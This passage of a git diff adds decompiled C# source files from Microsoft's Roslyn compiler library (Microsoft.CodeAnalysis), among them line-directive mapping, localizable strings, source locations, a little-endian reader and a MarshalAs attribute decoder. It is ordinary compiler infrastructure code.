InputNode(_getInput, registerOutput, _inputComparer, _comparer, _name); + } + + public void RegisterOutput(IIncrementalGeneratorOutputNode output) + { + _registerOutput(output); + } + + private void LogTables(NodeStateTable? previousTable, NodeStateTable newTable, ImmutableArray inputs) + { + if (CodeAnalysisEventSource.Log.IsEnabled()) + { + NodeStateTable.Builder builder = NodeStateTable.Empty.ToBuilder(_name, stepTrackingEnabled: false); + ImmutableArray.Enumerator enumerator = inputs.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + builder.AddEntry(current, EntryState.Added, TimeSpan.Zero, default(ImmutableArray<(IncrementalGeneratorRunStep, int)>), EntryState.Added); + } + NodeStateTable inputTable = builder.ToImmutableAndFree(); + this.LogTables(_name, previousTable, newTable, inputTable); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InternalDiagnosticSeverity.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InternalDiagnosticSeverity.cs new file mode 100644 index 0000000..c933e98 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InternalDiagnosticSeverity.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +internal static class InternalDiagnosticSeverity +{ + public const DiagnosticSeverity Unknown = (DiagnosticSeverity)(-1); + + public const DiagnosticSeverity Void = (DiagnosticSeverity)(-2); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InternalErrorCode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InternalErrorCode.cs new file mode 100644 index 0000000..9dcbcf0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InternalErrorCode.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +internal static class InternalErrorCode +{ + public const int Unknown = -1; + + public const int Void = -2; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InternalSymbolDisplayPartKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InternalSymbolDisplayPartKind.cs new file mode 100644 index 0000000..559b121 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InternalSymbolDisplayPartKind.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis; + +internal static class InternalSymbolDisplayPartKind +{ + private const SymbolDisplayPartKind @base = (SymbolDisplayPartKind)33; + + public const SymbolDisplayPartKind Arity = (SymbolDisplayPartKind)33; + + public const SymbolDisplayPartKind Other = (SymbolDisplayPartKind)34; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InvalidRuleSetException.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InvalidRuleSetException.cs new file mode 100644 index 0000000..93dd4c6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/InvalidRuleSetException.cs @@ -0,0 +1,20 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +internal class InvalidRuleSetException : Exception +{ + public InvalidRuleSetException() + { + } + + public InvalidRuleSetException(string message) + : base(message) + { + } + + public InvalidRuleSetException(string message, Exception inner) + : base(message, inner) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LanguageNames.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LanguageNames.cs new file mode 100644 index 0000000..e6042e0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LanguageNames.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis; + +public static class LanguageNames +{ + public const string CSharp = "C#"; + + public const string VisualBasic = "Visual Basic"; + + public const string FSharp = "F#"; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LineDirectiveMap.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LineDirectiveMap.cs new file mode 100644 index 0000000..92ada45 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LineDirectiveMap.cs @@ -0,0 +1,216 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +internal abstract class LineDirectiveMap where TDirective : SyntaxNode +{ + public enum PositionState : byte + { + Unknown, + Unmapped, + Remapped, + RemappedSpan, + RemappedAfterUnknown, + RemappedAfterHidden, + Hidden + } + + internal readonly struct LineMappingEntry : IComparable + { + public readonly int UnmappedLine; + + public readonly int MappedLine; + + public readonly LinePositionSpan MappedSpan; + + public readonly int? UnmappedCharacterOffset; + + public readonly string? MappedPathOpt; + + public readonly PositionState State; + + public bool IsHidden => State == PositionState.Hidden; + + public LineMappingEntry(int unmappedLine) + { + UnmappedLine = unmappedLine; + MappedLine = unmappedLine; + MappedSpan = default(LinePositionSpan); + UnmappedCharacterOffset = null; + MappedPathOpt = null; + State = PositionState.Unmapped; + } + + public LineMappingEntry(int unmappedLine, int mappedLine, string? mappedPathOpt, PositionState state) + { + UnmappedLine = unmappedLine; + MappedLine = mappedLine; + MappedSpan = default(LinePositionSpan); + UnmappedCharacterOffset = null; + MappedPathOpt = mappedPathOpt; + State = state; + } + + public LineMappingEntry(int unmappedLine, LinePositionSpan mappedSpan, int? unmappedCharacterOffset, string? mappedPathOpt) + { + UnmappedLine = unmappedLine; + MappedLine = -1; + MappedSpan = mappedSpan; + UnmappedCharacterOffset = unmappedCharacterOffset; + MappedPathOpt = mappedPathOpt; + State = PositionState.RemappedSpan; + } + + public int CompareTo(LineMappingEntry other) + { + int unmappedLine = UnmappedLine; + return unmappedLine.CompareTo(other.UnmappedLine); + } + } + + internal readonly ImmutableArray Entries; + + protected abstract bool ShouldAddDirective(TDirective directive); + + protected abstract LineMappingEntry GetEntry(TDirective directive, SourceText sourceText, LineMappingEntry previous); + + protected abstract LineMappingEntry InitializeFirstEntry(); + + protected LineDirectiveMap(SyntaxTree syntaxTree) + { + IList directives = ((SyntaxNodeOrToken)syntaxTree.GetRoot()).GetDirectives(ShouldAddDirective); + Entries = CreateEntryMap(syntaxTree, directives); + } + + public FileLinePositionSpan TranslateSpan(SourceText sourceText, string treeFilePath, TextSpan span) + { + LinePosition linePosition = sourceText.Lines.GetLinePosition(span.Start); + LinePosition linePosition2 = sourceText.Lines.GetLinePosition(span.End); + return TranslateSpan(FindEntry(linePosition.Line), treeFilePath, linePosition, linePosition2); + } + + protected FileLinePositionSpan TranslateSpan(in LineMappingEntry entry, string treeFilePath, LinePosition unmappedStartPos, LinePosition unmappedEndPos) + { + string? path = entry.MappedPathOpt ?? treeFilePath; + LinePositionSpan span = ((entry.State == PositionState.RemappedSpan) ? TranslateEnhancedLineDirectiveSpan(in entry, unmappedStartPos, unmappedEndPos) : TranslateLineDirectiveSpan(in entry, unmappedStartPos, unmappedEndPos)); + return new FileLinePositionSpan(path, span, entry.MappedPathOpt != null); + } + + private static LinePositionSpan TranslateLineDirectiveSpan(in LineMappingEntry entry, LinePosition unmappedStartPos, LinePosition unmappedEndPos) + { + return new LinePositionSpan(translatePosition(in entry, unmappedStartPos), translatePosition(in entry, unmappedEndPos)); + static LinePosition translatePosition(in LineMappingEntry reference, LinePosition unmapped) + { + int num = unmapped.Line - reference.UnmappedLine + reference.MappedLine; + if (num != -1) + { + return new LinePosition(num, unmapped.Character); + } + return new LinePosition(unmapped.Character); + } + } + + private static LinePositionSpan TranslateEnhancedLineDirectiveSpan(in LineMappingEntry entry, LinePosition unmappedStartPos, LinePosition unmappedEndPos) + { + if (unmappedStartPos.Line == entry.UnmappedLine && unmappedStartPos.Character <= entry.UnmappedCharacterOffset.GetValueOrDefault()) + { + return entry.MappedSpan; + } + return new LinePositionSpan(translatePosition(in entry, unmappedStartPos), translatePosition(in entry, unmappedEndPos)); + static LinePosition translatePosition(in LineMappingEntry reference, LinePosition unmapped) + { + return new LinePosition(unmapped.Line - reference.UnmappedLine + reference.MappedSpan.Start.Line, (unmapped.Line == reference.UnmappedLine) ? (reference.MappedSpan.Start.Character + unmapped.Character - reference.UnmappedCharacterOffset.GetValueOrDefault()) : unmapped.Character); + } + } + + public abstract LineVisibility GetLineVisibility(SourceText sourceText, int position); + + internal abstract FileLinePositionSpan TranslateSpanAndVisibility(SourceText sourceText, string treeFilePath, TextSpan span, out bool isHiddenPosition); + + public bool HasAnyHiddenRegions() + { + return Entries.Any((LineMappingEntry e) => e.State == PositionState.Hidden); + } + + protected LineMappingEntry FindEntry(int lineNumber) + { + int index = FindEntryIndex(lineNumber); + return Entries[index]; + } + + protected int FindEntryIndex(int lineNumber) + { + int num = Entries.BinarySearch(new LineMappingEntry(lineNumber)); + if (num < 0) + { + return ~num - 1; + } + return num; + } + + private ImmutableArray CreateEntryMap(SyntaxTree tree, IList directives) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(directives.Count + 1); + LineMappingEntry lineMappingEntry = InitializeFirstEntry(); + instance.Add(lineMappingEntry); + if (directives.Count > 0) + { + SourceText text = tree.GetText(); + foreach (TDirective directive in directives) + { + lineMappingEntry = GetEntry(directive, text, lineMappingEntry); + instance.Add(lineMappingEntry); + } + } + return instance.ToImmutableAndFree(); + } + + protected abstract LineVisibility GetUnknownStateVisibility(int index); + + public IEnumerable GetLineMappings(TextLineCollection lines) + { + LineMappingEntry entry = Entries[0]; + for (int i = 1; i < Entries.Length; i++) + { + LineMappingEntry next = Entries[i]; + int num = next.UnmappedLine - 2; + if (num >= entry.UnmappedLine) + { + TextLine textLine = lines[num]; + int lineLength = textLine.EndIncludingLineBreak - textLine.Start; + yield return CreateLineMapping(in entry, num, lineLength, i - 1); + } + entry = next; + } + TextLine textLine2 = lines[lines.Count - 1]; + if (entry.UnmappedLine <= textLine2.LineNumber) + { + int lineLength2 = textLine2.EndIncludingLineBreak - textLine2.Start; + int lineNumber = textLine2.LineNumber; + yield return CreateLineMapping(in entry, lineNumber, lineLength2, Entries.Length - 1); + } + } + + private LineMapping CreateLineMapping(in LineMappingEntry entry, int unmappedEndLine, int lineLength, int currentIndex) + { + LinePositionSpan span = new LinePositionSpan(new LinePosition(entry.UnmappedLine, 0), new LinePosition(unmappedEndLine, lineLength)); + if (entry.State == PositionState.Hidden || (entry.State == PositionState.Unknown && GetUnknownStateVisibility(currentIndex) == LineVisibility.Hidden)) + { + return new LineMapping(span, null, default(FileLinePositionSpan)); + } + string path = entry.MappedPathOpt ?? string.Empty; + bool hasMappedPath = entry.MappedPathOpt != null; + if (entry.State == PositionState.RemappedSpan) + { + return new LineMapping(span, entry.UnmappedCharacterOffset, new FileLinePositionSpan(path, entry.MappedSpan, hasMappedPath)); + } + LinePositionSpan span2 = new LinePositionSpan(new LinePosition(entry.MappedLine, 0), new LinePosition(entry.MappedLine + unmappedEndLine - entry.UnmappedLine, lineLength)); + FileLinePositionSpan mappedSpan = new FileLinePositionSpan(path, span2, hasMappedPath); + return new LineMapping(span, null, mappedSpan); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LineMapping.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LineMapping.cs new file mode 100644 index 0000000..326504c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LineMapping.cs @@ -0,0 +1,71 @@ +using System; +using System.Text; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public readonly struct LineMapping : IEquatable +{ + public LinePositionSpan Span { get; } + + public int? CharacterOffset { get; } + + public FileLinePositionSpan MappedSpan { get; } + + public bool IsHidden => !MappedSpan.IsValid; + + public LineMapping(LinePositionSpan span, int? characterOffset, FileLinePositionSpan mappedSpan) + { + Span = span; + CharacterOffset = characterOffset; + MappedSpan = mappedSpan; + } + + public override bool Equals(object? obj) + { + if (obj is LineMapping other) + { + return Equals(other); + } + return false; + } + + public bool Equals(LineMapping other) + { + if (Span.Equals(other.Span) && CharacterOffset.Equals(other.CharacterOffset)) + { + return MappedSpan.Equals(other.MappedSpan); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Hash.Combine(Span.GetHashCode(), CharacterOffset.GetHashCode()), MappedSpan.GetHashCode()); + } + + public static bool operator ==(LineMapping left, LineMapping right) + { + return left.Equals(right); + } + + public static bool operator !=(LineMapping left, LineMapping right) + { + return !(left == right); + } + + public override string? ToString() + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.Append(Span); + if (CharacterOffset.HasValue) + { + stringBuilder.Append(","); + stringBuilder.Append(CharacterOffset.GetValueOrDefault()); + } + stringBuilder.Append(" -> "); + stringBuilder.Append(MappedSpan); + return stringBuilder.ToString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LineVisibility.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LineVisibility.cs new file mode 100644 index 0000000..0ee8a9d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LineVisibility.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum LineVisibility +{ + BeforeFirstLineDirective, + Hidden, + Visible +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LittleEndianReader.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LittleEndianReader.cs new file mode 100644 index 0000000..3a85047 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LittleEndianReader.cs @@ -0,0 +1,52 @@ +using System; +using System.Buffers.Binary; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal ref struct LittleEndianReader(ReadOnlySpan span) +{ + private ReadOnlySpan _span = span; + + internal uint ReadUInt32() + { + uint result = BinaryPrimitives.ReadUInt32LittleEndian(_span); + _span = _span.Slice(4); + return result; + } + + internal byte ReadByte() + { + byte result = _span[0]; + _span = _span.Slice(1); + return result; + } + + internal ushort ReadUInt16() + { + ushort result = BinaryPrimitives.ReadUInt16LittleEndian(_span); + _span = _span.Slice(2); + return result; + } + + internal ReadOnlySpan ReadBytes(int byteCount) + { + ReadOnlySpan result = _span.Slice(0, byteCount); + _span = _span.Slice(byteCount); + return result; + } + + internal int ReadInt32() + { + int result = BinaryPrimitives.ReadInt32LittleEndian(_span); + _span = _span.Slice(4); + return result; + } + + internal byte[] ReadReversed(int byteCount) + { + byte[] array = ReadBytes(byteCount).ToArray(); + array.ReverseContents(); + return array; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LoadDirective.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LoadDirective.cs new file mode 100644 index 0000000..fd34742 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LoadDirective.cs @@ -0,0 +1,36 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct LoadDirective(string? resolvedPath, ImmutableArray diagnostics) : IEquatable +{ + public readonly string? ResolvedPath = resolvedPath; + + public readonly ImmutableArray Diagnostics = diagnostics; + + public bool Equals(LoadDirective other) + { + if (ResolvedPath == other.ResolvedPath) + { + return Diagnostics.SequenceEqual(other.Diagnostics); + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is LoadDirective) + { + return Equals((LoadDirective)obj); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Diagnostics.GetHashCode(), ResolvedPath?.GetHashCode() ?? 0); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocalInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocalInfo.cs new file mode 100644 index 0000000..e81b3c7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocalInfo.cs @@ -0,0 +1,33 @@ +using System.Collections.Immutable; +using System.Runtime.InteropServices; + +namespace Microsoft.CodeAnalysis; + +[StructLayout(LayoutKind.Auto)] +internal readonly struct LocalInfo where TypeSymbol : class +{ + internal readonly byte[] SignatureOpt; + + internal readonly TypeSymbol Type; + + internal readonly ImmutableArray> CustomModifiers; + + internal readonly LocalSlotConstraints Constraints; + + public bool IsByRef => (Constraints & LocalSlotConstraints.ByRef) != 0; + + public bool IsPinned => (Constraints & LocalSlotConstraints.Pinned) != 0; + + internal LocalInfo(TypeSymbol type, ImmutableArray> customModifiers, LocalSlotConstraints constraints, byte[] signatureOpt) + { + Type = type; + CustomModifiers = customModifiers; + Constraints = constraints; + SignatureOpt = signatureOpt; + } + + internal LocalInfo WithSignature(byte[] signature) + { + return new LocalInfo(Type, CustomModifiers, Constraints, signature); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocalSlotConstraints.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocalSlotConstraints.cs new file mode 100644 index 0000000..e4adc81 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocalSlotConstraints.cs @@ -0,0 +1,11 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +internal enum LocalSlotConstraints : byte +{ + None = 0, + ByRef = 1, + Pinned = 2 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocalizableResourceString.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocalizableResourceString.cs new file mode 100644 index 0000000..a2a9400 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocalizableResourceString.cs @@ -0,0 +1,115 @@ +using System; +using System.Globalization; +using System.Resources; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public sealed class LocalizableResourceString : LocalizableString, IObjectWritable +{ + private readonly string _nameOfLocalizableResource; + + private readonly ResourceManager _resourceManager; + + private readonly Type _resourceSource; + + private readonly string[] _formatArguments; + + bool IObjectWritable.ShouldReuseInSerialization => false; + + static LocalizableResourceString() + { + ObjectBinder.RegisterTypeReader(typeof(LocalizableResourceString), (ObjectReader reader) => new LocalizableResourceString(reader)); + } + + public LocalizableResourceString(string nameOfLocalizableResource, ResourceManager resourceManager, Type resourceSource) + : this(nameOfLocalizableResource, resourceManager, resourceSource, Array.Empty()) + { + } + + public LocalizableResourceString(string nameOfLocalizableResource, ResourceManager resourceManager, Type resourceSource, params string[] formatArguments) + { + if (nameOfLocalizableResource == null) + { + throw new ArgumentNullException("nameOfLocalizableResource"); + } + if (resourceManager == null) + { + throw new ArgumentNullException("resourceManager"); + } + if (resourceSource == null) + { + throw new ArgumentNullException("resourceSource"); + } + if (formatArguments == null) + { + throw new ArgumentNullException("formatArguments"); + } + _resourceManager = resourceManager; + _nameOfLocalizableResource = nameOfLocalizableResource; + _resourceSource = resourceSource; + _formatArguments = formatArguments; + } + + private LocalizableResourceString(ObjectReader reader) + { + _resourceSource = reader.ReadType(); + _nameOfLocalizableResource = reader.ReadString(); + _resourceManager = new ResourceManager(_resourceSource); + int num = reader.ReadInt32(); + if (num == 0) + { + _formatArguments = Array.Empty(); + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + for (int i = 0; i < num; i++) + { + instance.Add(reader.ReadString()); + } + _formatArguments = instance.ToArrayAndFree(); + } + + void IObjectWritable.WriteTo(ObjectWriter writer) + { + writer.WriteType(_resourceSource); + writer.WriteString(_nameOfLocalizableResource); + int num = _formatArguments.Length; + writer.WriteInt32(num); + for (int i = 0; i < num; i++) + { + writer.WriteString(_formatArguments[i]); + } + } + + protected override string GetText(IFormatProvider? formatProvider) + { + CultureInfo culture = (formatProvider as CultureInfo) ?? CultureInfo.CurrentUICulture; + string text = _resourceManager.GetString(_nameOfLocalizableResource, culture); + if (text == null) + { + return string.Empty; + } + if (_formatArguments.Length == 0) + { + return text; + } + object[] formatArguments = _formatArguments; + return string.Format(text, formatArguments); + } + + protected override bool AreEqual(object? other) + { + if (other is LocalizableResourceString localizableResourceString && _nameOfLocalizableResource == localizableResourceString._nameOfLocalizableResource && _resourceManager == localizableResourceString._resourceManager && _resourceSource == localizableResourceString._resourceSource) + { + return _formatArguments.SequenceEqual(localizableResourceString._formatArguments, (string a, string b) => a == b); + } + return false; + } + + protected override int GetHash() + { + return Hash.Combine(_nameOfLocalizableResource.GetHashCode(), Hash.Combine(_resourceManager.GetHashCode(), Hash.Combine(_resourceSource.GetHashCode(), Hash.CombineValues(_formatArguments)))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocalizableString.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocalizableString.cs new file mode 100644 index 0000000..d74898d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocalizableString.cs @@ -0,0 +1,138 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public abstract class LocalizableString : IFormattable, IEquatable +{ + private sealed class FixedLocalizableString : LocalizableString + { + private static readonly FixedLocalizableString s_empty = new FixedLocalizableString(string.Empty); + + private readonly string _fixedString; + + internal override bool CanThrowExceptions => false; + + public static FixedLocalizableString Create(string? fixedResource) + { + if (RoslynString.IsNullOrEmpty(fixedResource)) + { + return s_empty; + } + return new FixedLocalizableString(fixedResource); + } + + private FixedLocalizableString(string fixedResource) + { + _fixedString = fixedResource; + } + + protected override string GetText(IFormatProvider? formatProvider) + { + return _fixedString; + } + + protected override bool AreEqual(object? other) + { + if (other is FixedLocalizableString fixedLocalizableString) + { + return string.Equals(_fixedString, fixedLocalizableString._fixedString); + } + return false; + } + + protected override int GetHash() + { + return _fixedString?.GetHashCode() ?? 0; + } + } + + internal virtual bool CanThrowExceptions => true; + + public event EventHandler? OnException; + + public string ToString(IFormatProvider? formatProvider) + { + try + { + return GetText(formatProvider); + } + catch (Exception ex) + { + RaiseOnException(ex); + return string.Empty; + } + } + + public static explicit operator string?(LocalizableString localizableResource) + { + return localizableResource.ToString(null); + } + + public static implicit operator LocalizableString(string? fixedResource) + { + return FixedLocalizableString.Create(fixedResource); + } + + public sealed override string ToString() + { + return ToString(null); + } + + string IFormattable.ToString(string? ignored, IFormatProvider? formatProvider) + { + return ToString(formatProvider); + } + + public sealed override int GetHashCode() + { + try + { + return GetHash(); + } + catch (Exception ex) + { + RaiseOnException(ex); + return 0; + } + } + + public sealed override bool Equals(object? other) + { + try + { + return AreEqual(other); + } + catch (Exception ex) + { + RaiseOnException(ex); + return false; + } + } + + public bool Equals(LocalizableString? other) + { + return Equals((object?)other); + } + + protected abstract string GetText(IFormatProvider? formatProvider); + + protected abstract int GetHash(); + + protected abstract bool AreEqual(object? other); + + private void RaiseOnException(Exception ex) + { + if (ex is OperationCanceledException) + { + return; + } + try + { + this.OnException?.Invoke(this, ex); + } + catch + { + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Location.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Location.cs new file mode 100644 index 0000000..b306dd6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Location.cs @@ -0,0 +1,130 @@ +using System; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +public abstract class Location +{ + public abstract LocationKind Kind { get; } + + [MemberNotNullWhen(true, "SourceTree")] + public bool IsInSource + { + [MemberNotNullWhen(true, "SourceTree")] + get + { + return SourceTree != null; + } + } + + public bool IsInMetadata => MetadataModuleInternal != null; + + public virtual SyntaxTree? SourceTree => null; + + public IModuleSymbol? MetadataModule => (IModuleSymbol)(MetadataModuleInternal?.GetISymbol()); + + internal virtual IModuleSymbolInternal? MetadataModuleInternal => null; + + public virtual TextSpan SourceSpan => default(TextSpan); + + public static Location None => NoLocation.Singleton; + + internal Location() + { + } + + public virtual FileLinePositionSpan GetLineSpan() + { + return default(FileLinePositionSpan); + } + + public virtual FileLinePositionSpan GetMappedLineSpan() + { + return default(FileLinePositionSpan); + } + + public abstract override bool Equals(object? obj); + + public abstract override int GetHashCode(); + + public override string ToString() + { + string text = Kind.ToString(); + if (IsInSource) + { + text = text + "(" + SourceTree?.FilePath + SourceSpan.ToString() + ")"; + } + else if (IsInMetadata) + { + if (MetadataModuleInternal != null) + { + text = text + "(" + MetadataModuleInternal.Name + ")"; + } + } + else + { + FileLinePositionSpan lineSpan = GetLineSpan(); + if (lineSpan.Path != null) + { + text = text + "(" + lineSpan.Path + "@" + (lineSpan.StartLinePosition.Line + 1) + ":" + (lineSpan.StartLinePosition.Character + 1) + ")"; + } + } + return text; + } + + public static bool operator ==(Location? left, Location? right) + { + return left?.Equals(right) ?? ((object)right == null); + } + + public static bool operator !=(Location? left, Location? right) + { + return !(left == right); + } + + protected virtual string GetDebuggerDisplay() + { + string text = GetType().Name; + FileLinePositionSpan lineSpan = GetLineSpan(); + if (lineSpan.Path != null) + { + text = text + "(" + lineSpan.Path + "@" + (lineSpan.StartLinePosition.Line + 1) + ":" + (lineSpan.StartLinePosition.Character + 1) + ")"; + } + return text; + } + + public static Location Create(SyntaxTree syntaxTree, TextSpan textSpan) + { + if (syntaxTree == null) + { + throw new ArgumentNullException("syntaxTree"); + } + return new SourceLocation(syntaxTree, textSpan); + } + + public static Location Create(string filePath, TextSpan textSpan, LinePositionSpan lineSpan) + { + if (filePath == null) + { + throw new ArgumentNullException("filePath"); + } + return new ExternalFileLocation(filePath, textSpan, lineSpan); + } + + public static Location Create(string filePath, TextSpan textSpan, LinePositionSpan lineSpan, string mappedFilePath, LinePositionSpan mappedLineSpan) + { + if (filePath == null) + { + throw new ArgumentNullException("filePath"); + } + if (mappedFilePath == null) + { + throw new ArgumentNullException("mappedFilePath"); + } + return new ExternalFileLocation(filePath, textSpan, lineSpan, mappedFilePath, mappedLineSpan); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocationKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocationKind.cs new file mode 100644 index 0000000..b40c0f9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/LocationKind.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis; + +public enum LocationKind : byte +{ + None, + SourceFile, + MetadataFile, + XmlFile, + ExternalFile +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ManagedKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ManagedKind.cs new file mode 100644 index 0000000..9418933 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ManagedKind.cs @@ -0,0 +1,12 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +internal enum ManagedKind : byte +{ + Unknown = 0, + Unmanaged = 1, + UnmanagedWithGenerics = 2, + Managed = 3 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MarshalAsAttributeDecoder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MarshalAsAttributeDecoder.cs new file mode 100644 index 0000000..545a545 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MarshalAsAttributeDecoder.cs @@ -0,0 +1,326 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis; + +internal static class MarshalAsAttributeDecoder where TWellKnownAttributeData : WellKnownAttributeData, IMarshalAsAttributeTarget, new() where TAttributeSyntax : SyntaxNode where TAttributeData : AttributeData +{ + internal static void Decode(ref DecodeWellKnownAttributeArguments arguments, AttributeTargets target, CommonMessageProvider messageProvider) + { + UnmanagedType unmanagedType = DecodeMarshalAsType(arguments.Attribute); + switch (unmanagedType) + { + case UnmanagedType.CustomMarshaler: + DecodeMarshalAsCustom(ref arguments, messageProvider); + break; + case UnmanagedType.IUnknown: + case UnmanagedType.IDispatch: + case UnmanagedType.Interface: + DecodeMarshalAsComInterface(ref arguments, unmanagedType, messageProvider); + break; + case UnmanagedType.LPArray: + DecodeMarshalAsArray(ref arguments, messageProvider, isFixed: false); + break; + case UnmanagedType.ByValArray: + if (target != AttributeTargets.Field) + { + messageProvider.ReportMarshalUnmanagedTypeOnlyValidForFields(arguments.Diagnostics, arguments.AttributeSyntaxOpt, 0, "ByValArray", arguments.Attribute); + } + else + { + DecodeMarshalAsArray(ref arguments, messageProvider, isFixed: true); + } + break; + case UnmanagedType.SafeArray: + DecodeMarshalAsSafeArray(ref arguments, messageProvider); + break; + case UnmanagedType.ByValTStr: + if (target != AttributeTargets.Field) + { + messageProvider.ReportMarshalUnmanagedTypeOnlyValidForFields(arguments.Diagnostics, arguments.AttributeSyntaxOpt, 0, "ByValTStr", arguments.Attribute); + } + else + { + 